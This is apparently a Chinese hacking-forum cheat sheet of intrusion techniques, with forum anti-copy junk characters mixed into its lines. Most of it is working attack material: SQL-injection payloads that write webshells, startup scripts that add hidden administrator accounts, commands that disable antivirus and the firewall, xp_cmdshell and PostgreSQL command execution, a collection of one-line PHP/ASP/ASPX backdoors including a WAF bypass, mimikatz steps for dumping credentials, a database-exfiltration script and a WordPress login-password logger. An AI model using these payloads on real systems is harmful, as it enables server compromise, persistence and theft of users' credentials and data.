4 c; f% q: J7 ?0 J8 z- ^/ e
查询sql server 2005中的密码hash  w- G- }- o" `5 o
SELECT password_hash FROM sys.sql_logins where name='sa'9 x  Z' e  l2 Q% u5 J1 C
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a9 a7 O% }# p1 i3 m
access中导出shell
5 M! d7 j+ O7 U9 j7 O! \" z) M# y/ o4 r  f  J1 Z  h
中文版本操作系统中针对mysql添加用户完整代码:
" h0 z. v* `  K) i. Q. d9 U
. R( `, C; r! ^4 zuse test;/ N( }6 z3 p. Y
create table a (cmd text);% [! p" Q# s# a7 |4 I
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
; Y$ O6 @  {+ @insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );5 o1 X! `" K+ I( t; Y
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
. l7 l+ a% M* m8 Hselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
; [* m6 T) t0 ~) B8 |drop table a;
' e$ v; {3 W0 m8 c" ^6 p* S: w7 M
英文版本:/ h9 X& K0 O7 ?# ~' x8 p/ i5 H/ i. |

6 Y4 ~8 E7 s0 k5 nuse test;
* A7 m7 [" M  V: t, j  J1 [  jcreate table a (cmd text);
( Y3 I: ]6 u! ]  i( }( R7 \9 Pinsert into a values ("set wshshell=createobject (""wscript.shell"") " );
/ B% [4 p9 S  X% C3 O0 [insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );
% G0 ?3 R3 X  `insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );' F0 T( U8 T9 G5 _: h& k
select * from a into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.vbs";0 W& f0 F$ w1 ?) S% J
drop table a;, f- D8 e& S7 w) m$ Q% [

  J; E1 t: U+ E- q7 `create table a (cmd BLOB);
" |) n4 ^, x/ b' `! J) rinsert into a values (CONVERT(木马的16进制代码,CHAR));8 b$ \8 g( n7 q" X6 }* Y
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'
* D- g- g* G1 a: jdrop table a;
5 Q+ p* W, W2 U
8 E  H1 X- J( f4 K: A记录一下怎么处理变态诺顿: `2 H; e: Z6 _3 D
查看诺顿服务的路径
/ E+ q3 c+ p$ k' e; ^5 Z7 bsc qc ccSetMgr
" v- ]9 I/ u+ x: M然后设置权限拒绝访问。做绝一点。。
! V" q1 h4 }* ?7 m! Q, xcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d system
0 @6 p! z2 N8 R( |& L+ C- t' ucacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d "CREATOR OWNER"
9 [  f5 k' G2 i& [+ X) Zcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d administrators
; t1 a8 A/ j; k9 Ycacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d everyone' i6 T$ ^" r: X' t% b/ k( I% Q! A

# U" j. S+ s6 q然后再重启服务器
5 A! ~: H, i9 Giisreset /reboot4 T2 L* U8 z9 T" o. R
这样就搞定了。。不过完事后。记得恢复权限。。。。
( j0 Y% T! E0 n9 J) Xcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G system:F
9 X5 X4 B; a9 P9 u1 zcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G "CREATOR OWNER":F
7 g1 H% t: P1 O* j; Q+ \6 j5 Tcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G administrators:F
# X# ?5 }5 ^" H" H/ Acacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G everyone:F( E. {& m9 f0 y5 @  N; R, O$ [
SELECT '<%eval(request(chr(35)))%>' into [fuck]  in 'E:\asp.asp;fuck.xls' 'EXCEL 4.0;' from admin* ]0 ], Z  e( _8 S$ V" p% q
/ N! b0 N( X% H
EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''')
6 O0 F, F6 k8 w8 q9 D/ B; n2 K! d3 ~! ~, O) E! x7 t
postgresql注射的一些东西
. Q: S! \* b2 Q5 t, b1 z如何获得webshell
% z) {$ T5 w3 u. J  T7 bhttp://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null); 5 d* y; u) Y+ ?% A* n1 g
http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$);
6 [1 D+ V% f5 E6 \7 Uhttp://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;+ g2 h; s" J# i4 W: Q* o" ^
如何读文件
$ }- I4 w) s% a  r( h. F% {" }  jhttp://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);0 D2 @" B- V. f
http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;# }* p( U. I4 y6 ]4 I0 x2 y
http://127.0.0.1/postgresql.php?id=1;select * from myfile;
4 |: W: {7 }0 z
% C2 J( v" M$ hz执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。
) _: m5 L& t' k6 [当然,这些的postgresql的数据库版本必须大于8.X) y7 b6 X: N. f1 H0 A( q2 n! W
创建一个system的函数:2 o9 e: q4 Z3 o/ z/ ]( F8 }
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT! d1 }2 R) f) \4 X6 p2 i2 J5 y$ X
) q' W4 R3 Y0 J& S! h9 |
创建一个输出表:1 N$ q- U  [; J! R# Z4 [& {/ Q" l9 Z
CREATE TABLE stdout(id serial, system_out text)
  c( L7 f# G2 x# p0 ]. l
0 K' |7 ]$ A- V" P4 Q/ V, @执行shell,输出到输出表内:0 n: o, ~. D" |
SELECT system('uname -a > /tmp/test')! Z- j4 q! ]6 e' Q

) x) |8 H3 ^* V, r7 C0 ?copy 输出的内容到表里面;
7 [6 R5 [0 d) R4 A8 v" l" _COPY stdout(system_out) FROM '/tmp/test'
. B! n0 L8 d/ m, ]; r6 m: W( i7 P7 V4 n, o4 [' o, T. w8 d
从输出表内读取执行后的回显,判断是否执行成功" {1 ^! y1 d& j8 z) [+ G
4 }% v3 V# d: q
SELECT system_out FROM stdout
5 P& F3 U3 n; s2 l. A下面是测试例子
3 M3 L; \5 B* Q/ P+ p% z) A; D
2 L2 N) f' k  D7 b3 t/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --
* k; r1 |+ G! P' r0 c* _! j& e' r! A, ]' X7 J7 Q
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
, _" g- F8 M4 V, L' }  GSTRICT --
9 A# o: }: d4 A4 O! |" [8 ~$ n$ J7 c" w
/store.php?id=1; SELECT system('uname -a > /tmp/test') --
# G1 R6 D3 X) w9 q  ]+ B8 W; K- `* `! u* c2 g2 \7 e
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --- L! ?. N8 v; J4 j

7 t5 V, Y/ v! `) a6 i/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
. R8 L- p' ^6 z7 U5 {9 |) onet stop sharedaccess    stop the default firewall* Q* p! l4 D% ~' g  K  g
netsh firewall show      show/config default firewall
  G5 x: p  ]: D0 p/ x+ Bnetsh firewall set notifications disable   disable the notify when the program is disabled by the default firewall) e+ u  u5 j5 `3 U8 M
netsh firewall add allowedprogram c:\1.exe Svchost     add the program which is allowed by default firewall
5 Y$ o0 B9 I7 t  p% R, x8 x修改3389端口方法(修改后不易被扫出)
5 ~7 o* t' c; k9 d' H; g修改服务器端的端口设置,注册表有2个地方需要修改3 Y( n1 T- |6 A6 {0 Q
9 S4 x. S6 u( {) _- C
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Wds\\rdpwd\\Tds\\tcp]
  v. k* ?# ~; r( qPortNumber值,默认是3389,修改成所希望的端口,比如6000
  G! U! |- k9 y! z  [& ?
( e) v" E( }: \3 ]第二个地方:
# B/ O8 A  M' ~( I1 @7 {: G[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp] 
  V9 l6 x) T3 M: z5 G& z5 BPortNumber值,默认是3389,修改成所希望的端口,比如6000' u) L! u$ @2 V* {7 J; u: `
; E9 `1 E, v5 j6 `/ ]
现在这样就可以了。重启系统就可以了" W0 J# [& T# K6 F) g( v3 G* `$ d# t6 \1 y

' [0 @1 L/ E) B& p7 V查看3389远程登录的脚本, r' Y+ S/ C6 {9 l
保存为一个bat文件
& P1 m  {& v: e1 Z+ A5 kdate /t >>D:\sec\TSlog\ts.log9 ^/ W3 p- u- j% O' u
time /t >>D:\sec\TSlog\ts.log) t. e- v& U% v- R" i
netstat -n -p tcp | find ":3389">>D:\sec\TSlog\ts.log3 c1 e# N4 h0 w- D' G3 ~/ _4 e# Q
start Explorer
! ^4 q: F% q" Q+ I% n# C% |. r* J- a, ?' v0 C5 }
mstsc的参数:* L. R: K9 b3 P, b

5 w+ A6 c+ j  ]8 X7 g& @- r; e! q& V远程桌面连接
% \  o0 q$ E$ U/ T2 ]7 U9 E) r
( t. J% J8 z' t2 qMSTSC      [<Connection File>] [/v:<server[:port]>] [/console] [/f[ullscreen]]
* a$ q1 r' y; E/ J( a' N7 G  [/w:<width> /h:<height>] | /Edit"ConnectionFile" | /Migrate | /?7 m) C  s! a; M! G4 H9 J) O/ a

' c9 b7 u3 i2 s# b4 b<Connection File> -- 指定连接的 .rdp 文件的名称。
# z) t5 C; F6 }& q: b5 ~) I0 ]2 m( ~; _3 L% q
/v:<server[:port]> -- 指定要连接到的终端服务器。; X+ A) K1 j: j0 `* e- @: U  X: a

7 o' @9 x- l+ _! `" n  W5 c" w& H$ j/console -- 连接到服务器的控制台会话。
$ n- |- `" V0 z$ E; N+ a
* H+ S5 E- l4 y4 \; Q. X: a5 ?/f -- 以全屏模式启动客户端。
' X" d) u) {+ G4 B" m- x9 F* b- i3 m7 z( T" {3 @
/w:<width> --  指定远程桌面屏幕的宽度。) _2 j5 u  ?/ s, h
7 Q# h$ J; ]5 i1 a& u! D2 W; H
/h:<height> -- 指定远程桌面屏幕的高度。
( I7 X! m( {3 P2 a6 V: C8 `4 a" z* T$ m7 H0 P- @7 x. Y2 s
/edit -- 打开指定的 .rdp 文件来编辑。) p( s9 B% |) A* N4 D! w8 t

& s: _3 [  q) L% l. x4 B0 G! w/migrate -- 将客户端连接管理器创建的旧版; m7 }, m3 \# W* [, N1 T/ y/ M
连接文件迁移到新的 .rdp 连接文件。
& n: ^! e9 ]3 _$ ^$ ~% A) D4 @& H' u2 \; d# u- U1 K: ~( a" y

7 @2 q4 w! f  H0 G其中mstsc /console连接的是session 0,而mstsc是另外打开一个虚拟的session,这样的话就是相当与另外登陆计算机。也就是说带console参数连接的是显示器显示的桌面。大家可以试试啊,有的时候用得着的,特别是一些软件就" ~& N$ ?* Q" D  h! Z  |5 k, H" X
mstsc /console /v:124.42.126.xxx 突破终端访问限制数量
1 S- k# r; \% y% W. {+ R, ]9 f! y7 `  x$ G. C# u6 O
命令行下开启3389
3 r5 {5 \$ d  a$ M+ Xnet user asp.net aspnet /add! K9 K6 D9 U" l! d
net localgroup Administrators asp.net /add) F; |8 b" w- G" m; ^
net localgroup "Remote Desktop Users" asp.net /add
3 [" H5 |* @8 |9 Y8 M) yattrib +h "%SYSTEMDRIVE%\Documents and Settings\asp.net" /S /D9 |- a1 m3 `7 F7 ], p
echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0
0 O& x( o1 w" Qecho Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v AllowTSConnections /t reg_dword /d 1
* f+ _: g4 r9 {' G( X/ Eecho Y | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "asp.net" /t REG_DWORD /d 00000000 /f
/ ]. Z! `3 w3 r9 F3 ysc config rasman start= auto
, }2 u* H9 K! V1 r# x& D2 zsc config remoteaccess start= auto; O* X4 d5 `* @
net start rasman
! r0 L$ r  ~  P6 ~* O2 i. U# l/ S4 Mnet start remoteaccess$ ]" I7 m; z2 `3 ^
Media
; g5 ~( e7 t$ D1 m$ C! m+ ]5 ]( B<form id="frmUpload" enctype="multipart/form-data"; H% y$ G; N" s$ Z: w6 X
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
3 w5 Y+ E, n- z& M; g<input type="file" name="NewFile" size="50"><br>
$ d) H+ h8 W3 ?, Q7 s& `5 l<input id="btnUpload" type="submit" value="Upload">
& o: K. A8 I3 g! |$ K</form>
9 w( {0 j2 E2 j. z, f) L3 T8 [, i9 U& t  a- L
control userpasswords2 查看用户的密码/ S' S4 a5 `  o, }( Q# _
access数据库直接导出为shell,前提a表在access中存在。知道网站的真实路径1 f" {1 O1 T; r, E6 x- G
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a
% w6 E% z9 g% }' `; x! S: F: C/ q0 I1 B! [' v8 q
141、平时手工MSSQL注入的时候如果不能反弹写入,那么大多数都是把记录一条一条读出来,这样太累了,这里给出1条语句能读出所有数据:
5 W: _/ ]" x, l% K3 ~3 W7 y3 }, t/ E测试1:
  ?, \! w" N5 pSELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t  where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1) l+ I+ _2 e/ K2 e9 A; O( i/ H" j$ _
$ p" v! Z9 _' ]5 N0 x
测试2:
5 c% `- J& h' w& ^. P  V
- _) }* m  A8 Z2 n  g/ D& Tcreate table dirs(paths varchar(100),paths1 varchar(100), id int)( K" D- n7 Z0 }* ?& r6 d
4 W0 ]( Y# x% h1 g. |
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--
# n+ r( u" q% A4 z3 T! R
* t2 C- N% J4 j! JSELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1
- v: W) y. x  {( Z$ |关闭macfee软件的方法://需要system权限,请使用at或psexec –s cmd.exe命令
! f9 }2 e( r$ z  o可以上传.com类型的文件,如nc.com来绕过macfee可执行限制;  x1 x" G7 A' I7 A& ]- d: I# c
net stop mcafeeframework& U  y2 V5 q. ~7 y, r9 e7 G2 `
net stop mcshield
' K5 Q5 o( ^8 inet stop mcafeeengineservice
( `- \9 s' Z9 inet stop mctaskmanager
) w) c+ b/ ^" K$ |" A' nhttp://www.antian365.com/forum.p ... DU5Nzl8NDY5Mw%3D%3D1 ]) V1 r0 P9 Q
1 s2 m/ ?* v) k/ Y3 ~( @
  VNCDump.zip (4.76 KB, 下载次数: 1)
8 b4 X0 {) m5 u' M3 N# y" m密码在线破解http://tools88.com/safe/vnc.php0 Q) |: l  A0 u7 A* o
VNC密码可以通过vncdump 直接获取,通过dos查询[HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4] 下的Password也可以获取9 r* K1 x4 g: I9 p: @. n# i

. x6 V1 ^% D6 q( F+ f: Q; dexec master..xp_cmdshell 'net user'1 N1 P/ E5 j6 c0 p8 ~" l
mssql执行命令。
9 O6 x! t5 J. E0 v0 n+ v获取mssql的密码hash查询. d2 L* G) C. q
select name,password from master.dbo.sysxlogins  k3 u: l! w* Q

& H# Q/ z: U' S: t7 b' ?% ?backup log dbName with NO_LOG;
1 A* b% l) T3 \2 `' _4 Ybackup log dbName with TRUNCATE_ONLY;
, j( B5 [' N* y, |' W  y1 ZDBCC SHRINKDATABASE(dbName);
( j; j& ?4 J, J) g/ ~0 D/ Amssql数据库压缩
4 b9 \: g3 [+ c% T
" T4 n# Q7 D7 v5 {' H% eRar.exe a -ep1 -m0 -v200m E:\web\1.rar E:\webbackup\game_db_201107170400.BAK
& l0 m: [6 K. J: f- B, q将game_db_201107170400.BAK文件压缩为1.rar,大小为200M的分卷文件。
" f& @7 G" {8 Y% @4 }7 y) _1 ]: v. K! E. i0 c: `: r
backup database game to disk='D:\WebSites\game.com\UpFileList\game.bak'& y$ t6 l& G4 q+ X4 u1 p* S
备份game数据库为game.bak,路径为D:\WebSites\game.com\UpFileList\game.bak
1 _) ?( z( ]5 X. v/ |: O3 c' v2 u% F- s  P) I9 z' S, T! L
Discuz!nt35渗透要点:
- f- C" _, h8 ], V4 r" C(1)访问 网站地址/admin/global/global_templatesedit.aspx?path=../tools/&filename=rss.aspx&templateid=1&templatename=Default) C( e3 E: L& Y% T8 N- m
(2)打开rss.aspx文件,将<%@ Page Inherits="Discuz.Web.UI.RssPage" %>复制到本地备份,然后替换其为<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
( P0 l7 i" g' k, K' F(3)保存。
) M% E% a" q# f( \(4)一句话后门地址http://somesite.com.cn/tools/rss.aspx 密码为pass
! D) v, D4 ]& F3 N* Ed:\rar.exe a -r d:\1.rar d:\website\/ \# \: y7 M9 n( ?
递归压缩website
8 W4 L, g8 t6 H  v7 w注意rar.exe的路径# P4 y9 J  g& T, b

4 X0 l& u% T6 z, O$ L4 ?9 w" l<?php
: D* B, o- l1 x% c' E2 b2 A' b$ q
, ], p: k' }3 E$telok   = "0${@eval($_POST[xxoo])}";
$ ?) M" ^( R5 n2 o5 P$ g1 d- e
6 t/ N3 n$ ]8 b5 h0 S$username   = "123456";
7 R* M# S9 [+ U3 }. z" g& Q7 \2 z/ m+ [4 Z* r
$userpwd   = "123456";
( W3 `% ~- o  ~. o# ^, N2 `1 v/ o0 i) H7 }. O1 M
$telhao   = "123456";! {$ X- l5 d2 s$ G! c, N# z+ F& V
' _% c, u' d6 S0 V
$telinfo   = "123456";
0 f# M+ M* \6 f# [" d& m. |4 M/ i( D7 r9 E5 B
?>9 q2 H9 }! a. T. U" X
php一句话未过滤插入一句话木马
9 z" u' L" m* B/ k  a; E' v8 [( T7 U: S/ }
站库分离脱裤技巧
3 t1 n# w: I, Sexec master..xp_cmdshell 'net use \\xx.xx.xx.xx\d$\test "pass" /user:"user"'
; A0 u+ K+ @" }  c- Dexec master..xp_cmdshell 'bcp test.dbo.test out \\xx.xx.xx.xx\d$\test\1.txt -c -Slocalhost -Uuser -Ppass'$ q& s4 `6 }! P  Y1 i
条件限制写不了大马,只有一个一句话,其实要实现什么完全够了,只是很不直观方便啊,比如tuo库。
2 x+ E5 a( a, e& `3 e这儿利用的是马儿的专家模式(自己写代码)。
9 `/ ~/ r; T  S! L/ z2 ?ini_set('display_errors', 1);5 A) `  w, m& y  a0 u+ X4 ~' a0 z
set_time_limit(0);
5 i, q- w. }+ H8 w% }error_reporting(E_ALL);
1 _# w! m3 W- P/ \: N$connx = mysql_connect(":/var/tmp/mysql.sock", "forum", "xx!!xx3") or die("Could not connect: " . mysql_error());4 B& G1 f# g. V  m& X5 V
mysql_select_db("discuz",$connx) or die("Could not connect: " . mysql_error());, f2 U9 e* C6 e2 l+ s. [. T6 X
$result = mysql_query("Select * FROM members",$connx) or die("Could not connect: " . mysql_error());
- a4 d# \$ H4 n! _' L. }% q$i = 0;$ `- ?+ I! ]. e( A8 h
$tmp = '';5 b4 k$ D# ~; `! d
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
- W5 H+ D: o7 g# o: x) L    $i = $i+1;- }4 ?3 J$ S! t
    $tmp .=  implode("::", $row)."\n";
' w  `, A7 }/ R; ]0 M9 N( @    if(!($i%500)){//500条写入一个文件
, }+ R2 F/ o" g0 _: a        $filename = '/home/httpd/bbs.xxxxx/forumdata/cache/user'.intval($i/500).'.txt';* G6 C' ?! z% z$ A: i% ]$ q+ g
        file_put_contents($filename,$tmp);
8 V( {9 Q5 ~* A9 A$ y9 M( W        $tmp = '';. G9 r5 J8 m: Q8 T
    }
% J7 W! ~" a, y2 O4 b* Y3 b  Y0 Z& o}, i7 ~) ^) d2 c! v+ y: C
mysql_free_result($result);
6 L3 @* _, [1 f, D
* L* }! a, a7 B. [8 w" H) b+ z: ~0 g( p, b, [, R& x' X7 R
9 [3 }8 {- i, y( s& O. f
//down完后delete' C) e& }* g. C4 D& }  h1 F" ]

9 ~: D; }" Y: T, I* W4 i
; S; l9 q# R  L  t' f" w6 Bini_set('display_errors', 1);
& M) ?( D; u! t. ~; jerror_reporting(E_ALL);, h3 y1 L- b! ?$ @$ I) a% |
$i = 0;6 I! j% H2 P( v8 c+ P
while($i<32) {8 r( z7 T: A0 x# u! E
    $i = $i+1;
9 L' P0 i8 ^+ r) J  U        $filename = '/home/httpd/bbs.xxxx/forumdata/cache/user'.$i.'.txt';
2 @$ M) k: T+ D4 f2 S        unlink($filename);; G3 x/ o; c2 l
} 9 B5 d" Q' y+ w1 z0 g7 q
httprint 收集操作系统指纹+ |# A3 v9 F" h* l3 _/ I
扫描192.168.1.100的所有端口* t4 L2 J) g7 v; [
nmap –PN –sT –sV –p0-65535 192.168.1.100
6 F) O0 z+ W( Z/ T/ |; whost -t ns www.owasp.org 识别的名称服务器,获取dns信息
) R  @; t4 B; K# [( U/ @4 zhost -l www.owasp.org ns1.secure.net 可以尝试请求用于owasp.org的区域传输, y& n5 ], x5 z1 z
Netcraft的DNS搜索服务,地址http://searchdns.netcraft.com/?host
1 z3 e4 o$ c6 F& g) G* j; E
1 Z! k6 N. G2 T+ a  UDomain tools reverse IP: http://www.domaintools.com/reverse-ip/ (需要免费注册)
1 _: O% M7 b, \" W' P, \1 S2 Q/ v
  Q0 X8 o0 [' z3 k9 K( G  MSN search: http://search.msn.com 语法: "ip:x.x.x.x" (没有引号)
& ?; q, A6 S* U9 _1 e
8 R0 i9 n- M, f# q9 F" X4 X  Webhosting info: http://whois.webhosting.info/ 语法: http://whois.webhosting.info/x.x.x.x
; o5 `( x! ?4 C3 u+ E7 Y, A( t. t" K5 G2 m
  DNSstuff: http://www.dnsstuff.com/ (有多种服务可用)
/ B! P: y$ C! G4 T2 e- a! k, i
! x! ~2 v' Q' ^! ]% z  http://net-square.com/msnpawn/index.shtml (要求安装)6 F( ]7 Y* Q/ P: l

- V9 b/ o6 [0 Q' ~# ]; x: o  tomDNS: http://www.tomdns.net/ (一些服务仍然是非公开的)
4 t* \6 h# C9 e2 e4 _& I' Q  i- f! y- f# U8 ~  ?- x- X
  SEOlogs.com: http://www.seologs.com/ip-domains.html (反向IP/域名查找)
  V0 k' a) U: C: d0 I. kset names gb2312
) v# ]- S8 N' q导入数据库显示“Data too long for column 'username' at row 1”错误。原因是不支持中文。
7 W' C( [6 d+ O, t/ T
7 y9 B) z- ?0 a2 }& s6 Amysql 密码修改- C* b7 w( j- @2 |  \  Q
UPDATE mysql.user SET password=PASSWORD("newpass")  whereuser="mysqladmin ”
/ p6 _- j3 Z/ s# S& v8 q% l- Rupdate user set password=PASSWORD('antian365.com') where user='root';' X" y& M5 ]+ t
flush privileges;
6 b& ]+ F) q. f高级的PHP一句话木马后门  q2 C& O" x: P/ C* a

2 j& Z2 R0 |1 y% ?$ z% [; e! q入侵过程发现很多高级的PHP一句话木马。记录下来,以后可以根据关键字查杀# F: U- {5 g# D! g! Z5 U
' a1 l% e2 R# s
1、
6 m  F3 I/ c0 ?4 [$ W% ]# g8 A9 _5 j# \8 V! K
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
4 l) B/ `6 J2 M( |( `$ D+ R4 U6 h6 m! Z% \0 }* r. K6 A
$hh("/[discuz]/e",$_POST['h'],"Access");
1 C( D. q* ~1 o  E5 T3 ^6 U" H$ P$ v8 i+ s  N. R/ t* ~* \! b
//菜刀一句话/ d# b. m0 ~7 o
6 K$ S5 h' s3 G; `
2、" [$ `: S( |* E1 G
+ y1 h1 M4 l0 A. ^9 W- J, }0 B5 T
$filename=$_GET['xbid'];+ B, H  U6 c, e  }

  A4 q" ^0 E! h1 }! f- E2 W6 |6 g: Jinclude ($filename);
/ @3 h# U$ A0 y0 H; b8 Y! F, G, r7 u' F' v2 T. g
//危险的include函数,直接编译任何文件为php格式运行
# i$ F' M! K$ S2 m1 ^" ~' ~
8 W' x3 b9 m' K; c4 d3、
3 P& y/ h4 ]8 G6 z( ^4 U+ U' [) p* a3 P- i  d" O7 o! _. p
$reg="c"."o"."p"."y";, q- Y; M! D4 o7 E- G

4 Z" W  g1 ^4 H! G1 }' t) D$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);- S3 l5 w1 V8 j$ H* @. m
( y! ^  o* g( m0 P* j6 c
//重命名任何文件1 A) r& s' m' K5 T$ K+ c

0 l: p0 w0 w; ]  j+ h4、
. {$ r9 v! w. L' K# p+ \3 }& _& B  n; H# u
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
9 z0 v+ a, {! V( T# C4 C$ S  A- j+ f; q: O5 q
$gzid("/[discuz]/e",$_POST['h'],"Access");
: ]2 D. V% u' {/ Z( p$ @
1 m1 V0 R4 I9 v% S& L0 l//菜刀一句话
: ], @" C+ u0 l3 j2 K( S* H& p6 G& W2 A( Q- L
5、include ($uid);
4 G0 ?- L: i( j  d" t( t; B
) [* J2 V7 G) ?, O1 I1 `' Q: ^! {//危险的include函数,直接编译任何文件为php格式运行,POST
0 v) r0 R1 Q* ?) |* d8 m3 |) ~( J- S- L% m9 T8 B

6 z  m- E/ `2 x//gif插一句话# O( ^' ~: v/ s, K3 s& {
% _' O7 x' G6 u
6、典型一句话
! \& ]& s0 z6 g/ N6 C
+ @. v% B: \( y程序后门代码
1 m& Y2 d+ U/ W3 B; P( Y<?php eval_r($_POST[sb])?>" f. l& b: i. ]: ]& u' H
程序代码
& R& B" ]+ r% |7 h& c<?php @eval_r($_POST[sb])?>$ H' e. t+ k: U3 ~
//容错代码
* L! n$ R1 y" }+ `; i程序代码/ d$ R+ `, G; e, E- @9 W" Z
<?php assert($_POST[sb]);?>: n8 o1 B, T4 L; {+ t* p/ W
//使用lanker一句话客户端的专家模式执行相关的php语句
0 w$ X& e0 N8 H程序代码& y. ?3 s! h, w" z
<?$_POST['sa']($_POST['sb']);?>( f+ h9 u& ]5 ~. ^# E
程序代码
. @' c( u" v; L& t. p( y8 _<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>) \* g/ F$ \3 q$ ]
程序代码
: I) ^; `: C; X7 k  P) z: h: L<?php
1 {8 v5 j# x& r) t@preg_replace("/[email]/e",$_POST['h'],"error");
/ S, s8 K+ D5 o' J, t* t, B! }?>
; I4 Q6 M# U, j; ~5 ?//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
; \) u9 l* ~( n1 f4 K程序代码
* W  U# F4 t$ ~9 P' j<O>h=@eval_r($_POST[c]);</O>4 X1 }2 r5 j: ?9 \% g' P
程序代码: S) h2 e/ F* t/ \6 e% ]  @  ~( N/ e
<script language="php">@eval_r($_POST[sb])</script>. M' K$ f$ t- w2 C) W) \9 v# Q
//绕过<?限制的一句话
$ z' P8 [4 h: {0 b7 O* O* Y) p! T% O4 o" P8 _3 p3 O
http://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip
. V, I. w7 }/ F1 D详细用法:; K* k8 w& x: Q0 ?* E
1、到tools目录。psexec \\127.0.0.1 cmd
$ t6 s' `+ s3 u* t, a- ~4 ]2、执行mimikatz
+ c2 N2 ~" H4 ~# o2 T: p: n- V3、执行 privilege::debug( [  R# k1 ~  ^2 n# J$ d, h" a) \
4、执行 inject::process lsass.exe sekurlsa.dll" O1 O. O5 ^- p. p# i8 c6 W5 L
5、执行@getLogonPasswords3 Z# [2 V( H* j
6、widget就是密码: X) f( B, S3 N% V$ u3 O
7、exit退出,不要直接关闭否则系统会崩溃。
5 w! b1 W, z& Z# h5 @  \
3 ]# m( z4 A$ V. D8 J6 j9 Z- J3 d  xhttp://www.monyer.com/demo/monyerjs/ js解码网站比较全面- k7 R1 R" H6 P: G+ {/ O: C+ {

$ @; h# L& H% D+ ^2 `8 a9 E& I* e自动查找系统高危补丁: g4 C& b, j3 f' t0 ^7 U
systeminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a a.txt
, X& f7 E# n8 |2 J) i+ A6 ]7 P0 W5 x) f' `
突破安全狗的一句话aspx后门
% k2 V* g1 R8 R4 q* `) n<%@ Page Language="C#" ValidateRequest="false" %>
5 W! _- @  p0 R8 i  Y, Z$ q<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
( \. D0 M7 n9 d. a/ rwebshell下记录WordPress登陆密码7 \/ K! L$ K$ ?: I' q0 d
webshell下记录Wordpress登陆密码方便进一步社工% s5 H/ a% F7 k. \2 i1 w
在文件wp-login.php中539行处添加:# f: H: t; d5 x! p0 X
// log password, N# ]5 W) ]( W8 n
$log_user=$_POST['log'];: t2 W) r& }" f
$log_pwd=$_POST['pwd'];" U" Z- F3 @2 v4 @5 e7 o2 |0 y
$log_ip=$_SERVER["REMOTE_ADDR"];% k" b* a; f. H) B+ P
$txt=$log_user.’|’.$log_pwd.’|’.$log_ip;
